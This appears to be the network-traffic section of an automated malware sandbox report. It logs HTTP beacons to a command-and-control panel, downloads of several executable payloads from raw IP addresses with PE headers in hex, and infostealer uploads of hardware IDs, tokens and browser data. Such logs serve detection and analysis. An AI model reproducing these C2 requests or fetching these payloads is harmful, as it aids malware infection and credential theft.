00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 12:28:37 GMTContent-Type: application/octet-streamContent-Length: 1827328Last-Modified: Sat, 23 Nov 2024 12:18:26 GMTConnection: keep-aliveETag: "6741c812-1be200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 70 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 6a 00 00 04 00 00 63 bd 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2b 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 65 72 74 6c 6f 77 65 00 50 1a 00 00 10 50 00 00 44 1a 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 65 61 79 79 75 72 6c 00 10 00 00 00 60 6a 00 00 04 00 00 00 bc 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 6a 00 00 22 00 00 00 c0 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 12:28:46 GMTContent-Type: application/octet-streamContent-Length: 922624Last-Modified: Sat, 23 Nov 2024 12:16:33 GMTConnection: keep-aliveETag: "6741c7a1-e1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 99 c7 41 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 5d 8d 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 2c a9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 2c a9 00 00 00 40 0d 00 00 aa 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 12:28:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 12:28:53 GMTContent-Type: application/octet-streamContent-Length: 2810880Last-Modified: Sat, 23 Nov 2024 12:17:00 GMTConnection: keep-aliveETag: "6741c7bc-2ae400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 12 95 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 71 67 6e 78 79 77 79 00 a0 2a 00 00 a0 00 00 00 84 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 6a 63 7a 6b 6b 75 63 00 20 00 00 00 40 2b 00 00 04 00 00 00 be 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 c2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 33 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008432001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 33 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008433001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 33 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008434001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEBAECAKKFCBFIEGCBKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 30 43 41 38 35 45 44 33 32 44 45 33 37 31 32 36 35 39 37 38 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="hwid"C0CA85ED32DE3712659782------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="build"mars------GIEBAECAKKFCBFIEGCBK--
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJECFHCBKKEBAKFIJDHIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 64 65 31 39 63 37 31 35 35 31 32 34 65 34 63 65 31 33 33 34 39 38 36 37 33 31 35 33 37 38 65 32 32 33 36 39 64 33 34 37 35 32 32 38 38 32 31 63 63 65 61 38 63 62 63 36 31 62 65 31 39 36 33 61 30 30 61 64 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 2d 2d 0d 0a Data Ascii: ------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="token"fde19c7155124e4ce13349867315378e22369d3475228821ccea8cbc61be1963a00ad83c------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="message"browsers------KJECFHCBKKEBAKFIJDHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHCAKKEGCAAFHJJJDBKJHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 64 65 31 39 63 37 31 35 35 31 32 34 65 34 63 65 31 33 33 34 39 38 36 37 33 31 35 33 37 38 65 32 32 33 36 39 64 33 34 37 35 32 32 38 38 32 31 63 63 65 61 38 63 62 63 36 31 62 65 31 39 36 33 61 30 30 61 64 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------GHCAKKEGCAAFHJJJDBKJContent-Disposition: form-data; name="token"fde19c7155124e4ce13349867315378e22369d3475228821ccea8cbc61be1963a00ad83c------GHCAKKEGCAAFHJJJDBKJContent-Disposition: form-data; name="message"plugins------GHCAKKEGCAAFHJJJDBKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIIJJDHDGCGDHIJDAKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 64 65 31 39 63 37 31 35 35 31 32 34 65 34 63 65 31 33 33 34 39 38 36 37 33 31 35 33 37 38 65 32 32 33 36 39 64 33 34 37 35 32 32 38 38 32 31 63 63 65 61 38 63 62 63 36 31 62 65 31 39 36 33 61 30 30 61 64 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="token"fde19c7155124e4ce13349867315378e22369d3475228821ccea8cbc61be1963a00ad83c------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="message"fplugins------JDGIIJJDHDGCGDHIJDAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGIJECGDGCBKECAKFBGCHost: 185.215.113.206Content-Length: 5831Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008435001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008436001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
